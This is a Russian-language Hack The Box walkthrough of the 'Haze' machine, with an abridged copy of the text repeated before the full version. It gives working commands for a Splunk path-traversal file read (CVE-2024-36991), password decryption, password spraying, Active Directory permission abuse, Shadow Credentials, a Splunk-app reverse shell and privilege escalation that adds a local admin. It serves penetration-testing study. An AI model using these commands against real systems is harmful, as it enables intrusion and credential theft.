stihl не предоставил(а) никакой дополнительной информации.
Сегодня мы проэксплуатируем уязвимость в мониторинговой системе Splunk, чтобы получить учетные данные. Затем для компрометации нескольких учетных записей проэксплуатируем разрешения, а для повышения привилегий скомпрометируем админскую учетку Splunk и добавим свой модуль для установления привилегированной сессии.
Наша цель — получение прав суперпользователя на машине Haze с учебной площадки Hack The Box. Уровень задания — сложный.
И запускаем сканирование портов.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Сканер нашел 14 открытых портов:
Страница авторизации Splunk
Страница сервиса Splunkd
Поиск эксплоитов в Google
И находим Для просмотра ссылки Войдиили Зарегистрируйся в блоге SonicWall, где подробно разбирается уязвимость Для просмотра ссылки Войди или Зарегистрируйся. Она позволяет обходить пути с эндпоинта /modules/messaging/ и читать произвольные файлы. По номеру CVE находим и рабочий Для просмотра ссылки Войди или Зарегистрируйся на GitHub. Он позволяет получать учетные данные из базы данных.
Проверка уязвимости
Для просмотра ссылки Войдиили Зарегистрируйся
Интересные файлы Splunk
В файле server.conf находим зашифрованные технические пароли, а в authentication.conf есть доменные учетные данные пользователя Paul Taylor для связи с LDAP.
Содержимое файла server.conf
Содержимое файла authentication.conf
Чтобы расшифровать пароли, нам нужен ключ из файла auth/splunk.secret.
Содержимое файла splunk.secret
Когда у нас есть ключ, мы можем использовать скрипт Для просмотра ссылки Войдиили Зарегистрируйся для расшифровывания паролей. При запуске указываем файл splunk.secret, после чего вводим зашифрованные данные и получаем пароль в открытом виде.
Расшифровывание пароля
У нас есть пароль, но нет логина. По имени пользователя можно составить список всех возможных вариантов учетной записи. Для этого используем следующий скрипт.
Затем перебираем логины с помощью Для просмотра ссылки Войдиили Зарегистрируйся и получаем учетную запись в нужном формате.
Результат подбора учетных данных
Теперь мы можем перебрать RID объектов домена и тем самым получить имена групп и пользователей домена. Для этого используем параметр --rid-brute.
Объекты домена
Сохраняем пользователей домена в отдельный файл и проверяем, не подойдет ли имеющийся у нас пароль еще к какой‑нибудь учетной записи. Так мы скомпрометируем учетную запись mark.adams.
Результат подбора учетных данных
NetExec позволяет проверить, имеет ли пользователь возможность получить сессию через WinRM.
Результат проверки учетной записи
Для получения сессии через WinRM воспользуемся утилитой Для просмотра ссылки Войдиили Зарегистрируйся.
Сессия пользователя mark.adams
или Зарегистрируйся использует теорию графов для выявления скрытых и зачастую непреднамеренных взаимосвязей в среде Active Directory. Ее можно использовать, чтобы легко идентифицировать очень сложные пути атаки.
Для сбора базы BloodHound будем использовать Для просмотра ссылки Войдиили Зарегистрируйся. Скомпилируем версию для Windows, загрузим на удаленный хост и запустим сканирование.
Данные получаем очень быстро. Скачиваем итоговый архив и строим граф от пользователя MARK.ADAMS.
Граф BloodHound
Пользователь MARK.ADAMS состоит в группе GMSA_MANAGERS. Эта группа должна давать нам право управления gMSA. Но так как больше никаких связей BloodHound не отобразил, проверим разрешения записи в атрибуты более углубленно с помощью Для просмотра ссылки Войдиили Зарегистрируйся.
Для просмотра ссылки Войдиили Зарегистрируйся
Таким образом, пользователь MARK.ADAMS имеет право записи в атрибут msDS-GroupMSAMembership объекта Haze-IT-Backup. Этот атрибут содержит список SID в формате SDDL, для которых разрешено использование учетных записей gMSA. Так как у нас есть право записи, пропишем в этом атрибуте учетку mark.adams.
Основная идея MSA в том, что паролем полностью управляет Active Directory. Для таких учеток автоматически генерируется сложный пароль длиной 240 символов, который меняется автоматически каждые 30 дней. Для аутентификации используется только Kerberos, так как интерактивный вход невозможен. Это связано с тем, что пароль не известен никому и не хранится в локальной системе, поэтому его нельзя извлечь из системного процесса LSASS с помощью Mimikatz.
Но и такими учетными записями нужно как‑то управлять, а это значит, что, если у нас есть к ним доступ, мы можем получить хеш пароля.
Извлечем из MSA хеш пароля при помощи NetExec.
Получение хеша учетной записи Haze-IT-Backup$
Мы скомпрометировали еще одну учетную запись, проверим ее разрешения на другие объекты.
Разрешения для HAZE-IT-BACKUP$
Как видишь, учетная запись HAZE-IT-BACKUP$ может переписать владельца группы Support_Services. Сделаем себя владельцем группы.
Результат выполнения команды
Владелец объекта AD может назначать разрешения на объект, поэтому выдаем себе полный контроль над группой Support_Services.
Результат выполнения команды
Теперь, когда у нас есть полный доступ к группе, сделаем себя ее членом.
Результат выполнения команды
После добавления учетной записи HAZE-IT-BACKUP$ в группу Support_Services снова просканируем разрешения записи в атрибуты объектов AD.
Разрешения для HAZE-IT-BACKUP$
Теперь пользователь HAZE-IT-BACKUP$ имеет право записи в атрибут msDS-KeyCredentialLink объекта Edward.Martin, а значит, мы можем провести атаку Shadow Credentials.
Эксплуатация Shadow Credentials
Получаем хеш пароля учетной записи, авторизуемся в службе WinRM и читаем первый флаг.
Флаг пользователя
Информация о пользователе
Проверяем каталоги на диске и находим каталог Backups. Внутри — резервная копия сервиса Splunk, которую скачиваем на свою машину через Evil-WinRM.
Содержимое каталога Backups
Загрузка резервной копии
Распакуем архив и найдем в нем зашифрованные пароли по сигнатуре «доллар‑единица‑доллар».
Поиск паролей
Найденный пароль расшифровываем с помощью секрета Splunk/etc/auth/splunk.secret.
Расшифровка пароля
Пароль никуда в домене не подошел, зато мы можем авторизоваться как Administrator сервиса Splunk.
Панель администратора Splunk
Администратор Splunk может установить в сервисе свое приложение, а это дает нам возможность выполнять произвольный код от имени учетной записи. В качестве шаблона приложения воспользуемся Для просмотра ссылки Войдиили Зарегистрируйся, где уже прописан реверс‑шелл для Windows- и Unix-систем. Первым делом откроем файл run.ps1 и вставим свои данные для подключения.
Содержимое файла run.ps1
Теперь заархивируем каталог приложения и сохраним в формате spl.
Когда все готово, на указанном порте запустим листенер:
Теперь перейдем на страницу Install app from file и загрузим наш архив.
Страница приложений
Загрузка файла
Вскоре в листенере увидим входящее соединение от имени alexander.green.
Сессия пользователя alexander.green
или Зарегистрируйся для создания своего пользователя.
Результат выполнения команды
Как показывает команда net users, пользователь был создан, а значит, мы можем выполнять команды в привилегированном контексте. Добавим созданного пользователя в группу администраторов и получим сессию через WinRM.
Флаг рута
Машина захвачена!
Наша цель — получение прав суперпользователя на машине Haze с учебной площадки Hack The Box. Уровень задания — сложный.
warning
Подключаться к машинам с HTB рекомендуется с применением средств анонимизации и виртуализации. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Разведка
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:10.10.11.61 haze.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).

Сканер нашел 14 открытых портов:
- 88 — Kerberos;
- 135 — Microsoft RPC;
- 139 — NetBIOS, NetLogon;
- 389 — LDAP;
- 445 — SMB;
- 464 — служба смены пароля Kerberos;
- 593 (HTTP-RPC-EPMAP) — используется в службах DCOM и MS Exchange;
- 636 — LDAP с шифрованием SSL или TLS;
- 3268 (LDAP) — для доступа к Global Catalog от клиента к контроллеру;
- 3269 (LDAPS) — для доступа к Global Catalog от клиента к контроллеру через защищенное соединение;
- 5985 — служба удаленного управления WinRM;
- порты 8000, 8088, 8089 — система Splunk.


Точка входа
На втором сайте нам открывается версия Splunk — 9.2.1. Сразу стоит проверить, есть ли для нее готовые эксплоиты. Первым делом просто ищем в Google.
И находим Для просмотра ссылки Войди
python3 CVE-2024-36991.py -u [URL]http://10.10.11.61:8000[/URL]

Точка опоры
У нас есть возможность читать файлы, поэтому прикинем, что может быть интересного. Я не стал заморачиваться и спросил у ChatGPT, какие конфиги Splunk могут оказаться полезны, а также что в них содержится.Для просмотра ссылки Войди

В файле server.conf находим зашифрованные технические пароли, а в authentication.conf есть доменные учетные данные пользователя Paul Taylor для связи с LDAP.
curl -s 'http:/haze.htb:8000/en-US/modules/messaging/C:../C:../C:../C:../C:../C:../C:../C:../Program%20Files/Splunk/etc/system/local/server.conf'

curl -s 'http:/haze.htb:8000/en-US/modules/messaging/C:../C:../C:../C:../C:../C:../C:../C:../Program%20Files/Splunk/etc/system/local/authentication.conf'

Чтобы расшифровать пароли, нам нужен ключ из файла auth/splunk.secret.
curl -s 'http:/haze.htb:8000/en-US/modules/messaging/C:../C:../C:../C:../C:../C:../C:../C:../Program%20Files/Splunk/etc/auth/splunk.secret'

Когда у нас есть ключ, мы можем использовать скрипт Для просмотра ссылки Войди
Код:
pip install splunksecrets
splunksecrets splunk-decrypt -S splunk.secret

У нас есть пароль, но нет логина. По имени пользователя можно составить список всех возможных вариантов учетной записи. Для этого используем следующий скрипт.
Код:
names = ["Paul Taylor"]
list = []
for name in names:
n1, n2 = name.split(' ')
list.append(n1)
list.append(n1+n2)
list.append(n1+"."+n2)
list.append(n1+"-"+n2)
list.append(n1+"_"+n2)
list.append(n1+n2[0])
list.append(n1+"."+n2[0])
list.append(n1+"-"+n2[0])
list.append(n1+"_"+n2[0])
list.append(n2[0]+n1)
list.append(n2[0]+"."+n1)
list.append(n2[0]+"-"+n1)
list.append(n2[0]+"_"+n1)
list.append(n2)
list.append(n2+n1)
list.append(n2+"."+n1)
list.append(n2+"-"+n1)
list.append(n2+"_"+n1)
list.append(n2+n1[0])
list.append(n2+"."+n1[0])
list.append(n2+"-"+n1[0])
list.append(n2+"_"+n1[0])
list.append(n1[0]+n2)
list.append(n1[0]+"."+n2)
list.append(n1[0]+"-"+n2)
list.append(n1[0]+"_"+n2)
for n in list:
print
Затем перебираем логины с помощью Для просмотра ссылки Войди
nxc smb 10.10.11.61 -u taylor_users.txt -p 'Ld@p_Auth_Sp1unk@2k24'

Теперь мы можем перебрать RID объектов домена и тем самым получить имена групп и пользователей домена. Для этого используем параметр --rid-brute.
nxc smb 10.10.11.61 -u 'Paul.Taylor' -p 'Ld@p_Auth_Sp1unk@2k24' --rid-brute

Сохраняем пользователей домена в отдельный файл и проверяем, не подойдет ли имеющийся у нас пароль еще к какой‑нибудь учетной записи. Так мы скомпрометируем учетную запись mark.adams.
nxc smb 10.10.11.61 -u users.txt -p 'Ld@p_Auth_Sp1unk@2k24' --continue-on-success

NetExec позволяет проверить, имеет ли пользователь возможность получить сессию через WinRM.
nxc winrm 10.10.11.61 -u mark.adams -p 'Ld@p_Auth_Sp1unk@2k24'

Для получения сессии через WinRM воспользуемся утилитой Для просмотра ссылки Войди
evil-winrm -i 10.10.11.61 -u mark.adams -p 'Ld@p_Auth_Sp1unk@2k24'

Продвижение
В рабочем окружении пользователя ничего интересного не находим, поэтому соберем базу BloodHound.Справка: BloodHound
Утилита Для просмотра ссылки ВойдиДля сбора базы BloodHound будем использовать Для просмотра ссылки Войди
.\RustHound-CE.exe -d haze.htb -u mark.adams -p 'Ld@p_Auth_Sp1unk@2k24' -c All -z
Данные получаем очень быстро. Скачиваем итоговый архив и строим граф от пользователя MARK.ADAMS.

Пользователь MARK.ADAMS состоит в группе GMSA_MANAGERS. Эта группа должна давать нам право управления gMSA. Но так как больше никаких связей BloodHound не отобразил, проверим разрешения записи в атрибуты более углубленно с помощью Для просмотра ссылки Войди
bloodyAD -d haze.htb -u mark.adams -p 'Ld@p_Auth_Sp1unk@2k24' --host 10.10.11.61 get writable --right WRITE --detail
Для просмотра ссылки Войди
Таким образом, пользователь MARK.ADAMS имеет право записи в атрибут msDS-GroupMSAMembership объекта Haze-IT-Backup. Этот атрибут содержит список SID в формате SDDL, для которых разрешено использование учетных записей gMSA. Так как у нас есть право записи, пропишем в этом атрибуте учетку mark.adams.
Set-ADServiceAccount -Identity "Haze-IT-Backup$" -PrincipalsAllowedToRetrieveManagedPassword mark.adams
Справка: управляемые учетные записи Active Directory
Управляемые учетные записи (MSA) — это специальный тип учетных записей Active Directory, которые можно использовать для безопасного запуска служб, приложений и заданий планировщика.Основная идея MSA в том, что паролем полностью управляет Active Directory. Для таких учеток автоматически генерируется сложный пароль длиной 240 символов, который меняется автоматически каждые 30 дней. Для аутентификации используется только Kerberos, так как интерактивный вход невозможен. Это связано с тем, что пароль не известен никому и не хранится в локальной системе, поэтому его нельзя извлечь из системного процесса LSASS с помощью Mimikatz.
Но и такими учетными записями нужно как‑то управлять, а это значит, что, если у нас есть к ним доступ, мы можем получить хеш пароля.
Извлечем из MSA хеш пароля при помощи NetExec.
nxc ldap 10.10.11.61 -u mark.adams -p 'Ld@p_Auth_Sp1unk@2k24' --gmsa

Мы скомпрометировали еще одну учетную запись, проверим ее разрешения на другие объекты.
bloodyAD -d haze.htb -u 'HAZE-IT-BACKUP$' -p ':a70df6599d5eab1502b38f9c1c3fd828' --host 10.10.11.61 get writable --right WRITE --detail

Как видишь, учетная запись HAZE-IT-BACKUP$ может переписать владельца группы Support_Services. Сделаем себя владельцем группы.
bloodyAD -d haze.htb -u 'HAZE-IT-BACKUP$' -p ':a70df6599d5eab1502b38f9c1c3fd828' --host 10.10.11.61 set owner 'SUPPORT_SERVICES' 'Haze-IT-Backup$'

Владелец объекта AD может назначать разрешения на объект, поэтому выдаем себе полный контроль над группой Support_Services.
bloodyAD -d haze.htb -u 'HAZE-IT-BACKUP$' -p ':a70df6599d5eab1502b38f9c1c3fd828' --host 10.10.11.61 add genericAll 'SUPPORT_SERVICES' 'Haze-IT-Backup$'

Теперь, когда у нас есть полный доступ к группе, сделаем себя ее членом.
bloodyAD -d haze.htb -u 'HAZE-IT-BACKUP$' -p ':a70df6599d5eab1502b38f9c1c3fd828' --host 10.10.11.61 add groupMember 'SUPPORT_SERVICES' 'Haze-IT-Backup$'

После добавления учетной записи HAZE-IT-BACKUP$ в группу Support_Services снова просканируем разрешения записи в атрибуты объектов AD.
bloodyAD -d haze.htb -u 'HAZE-IT-BACKUP$' -p ':a70df6599d5eab1502b38f9c1c3fd828' --host 10.10.11.61 get writable --right WRITE --detail

Теперь пользователь HAZE-IT-BACKUP$ имеет право записи в атрибут msDS-KeyCredentialLink объекта Edward.Martin, а значит, мы можем провести атаку Shadow Credentials.
Справка: Shadow Credentials
Техника Shadow Credentials позволяет атакующему завладеть учетной записью пользователя или компьютера, если получится изменить атрибут msDS-KeyCredentialLink целевого объекта и добавить к нему альтернативные учетные данные, такие как сертификат. Затем по сертификату мы получим его билет TGT, из которого извлечем NTLM-хеш пароля пользователя. Это все происходит автоматически в команде certipy shadow. Но предварительно синхронизируем время с сервером.faketime -f "+8h" certipy shadow auto -u 'HAZE-IT-BACKUP$@haze.htb' -hashes ':a70df6599d5eab1502b38f9c1c3fd828' -dc-ip 10.10.11.61 -account Edward.Martin

Получаем хеш пароля учетной записи, авторизуемся в службе WinRM и читаем первый флаг.
evil-winrm -i 10.10.11.61 -u edward.martin -H 09e0b3eeb2e7a6b0d419e9ff8f4d91af

Локальное повышение привилегий
Просматриваем информацию о пользователе и видим, что он входит в группу Backup_Reviewers.whoami /all

Проверяем каталоги на диске и находим каталог Backups. Внутри — резервная копия сервиса Splunk, которую скачиваем на свою машину через Evil-WinRM.


Распакуем архив и найдем в нем зашифрованные пароли по сигнатуре «доллар‑единица‑доллар».

Найденный пароль расшифровываем с помощью секрета Splunk/etc/auth/splunk.secret.
splunksecrets splunk-decrypt -S Splunk/etc/auth/splunk.secret

Пароль никуда в домене не подошел, зато мы можем авторизоваться как Administrator сервиса Splunk.

Администратор Splunk может установить в сервисе свое приложение, а это дает нам возможность выполнять произвольный код от имени учетной записи. В качестве шаблона приложения воспользуемся Для просмотра ссылки Войди

Теперь заархивируем каталог приложения и сохраним в формате spl.
Код:
tar -cvzf reverse_shell_splunk.tgz reverse_shell_splunk
mv reverse_shell_splunk.tgz reverse_shell_splunk.spl
rlwrap nc -nlvp 4321
Теперь перейдем на страницу Install app from file и загрузим наш архив.


Вскоре в листенере увидим входящее соединение от имени alexander.green.

System
Внимание привлекают привилегии текущего пользователя. У юзера включена привилегия SeImpersonatePrivilege (право «Олицетворять клиента после проверки подлинности»). Как говорит Microsoft:Другими словами: эта привилегия позволяет имитировать любой токен, дескриптор которого мы сможем получить. Это явный вектор повышения привилегий! Воспользуемся Для просмотра ссылки ВойдиПрисвоение пользователю права «Олицетворять клиента после проверки подлинности» разрешает программам, запущенным от имени данного пользователя, олицетворять клиента. Использование данного параметра предотвращает олицетворение неавторизованными серверами клиентов, подключающихся к этим серверам с помощью процедур RPC или именованных каналов.
gp.exe -cmd "cmd /c net user ralf Qwerty123 /add"

Как показывает команда net users, пользователь был создан, а значит, мы можем выполнять команды в привилегированном контексте. Добавим созданного пользователя в группу администраторов и получим сессию через WinRM.
Код:
.\gp.exe -cmd "cmd /c net localgroup Administrators ralf /add"
evil-winrm -i 10.10.11.61 -u ralf -p Qwerty123

Машина захвачена!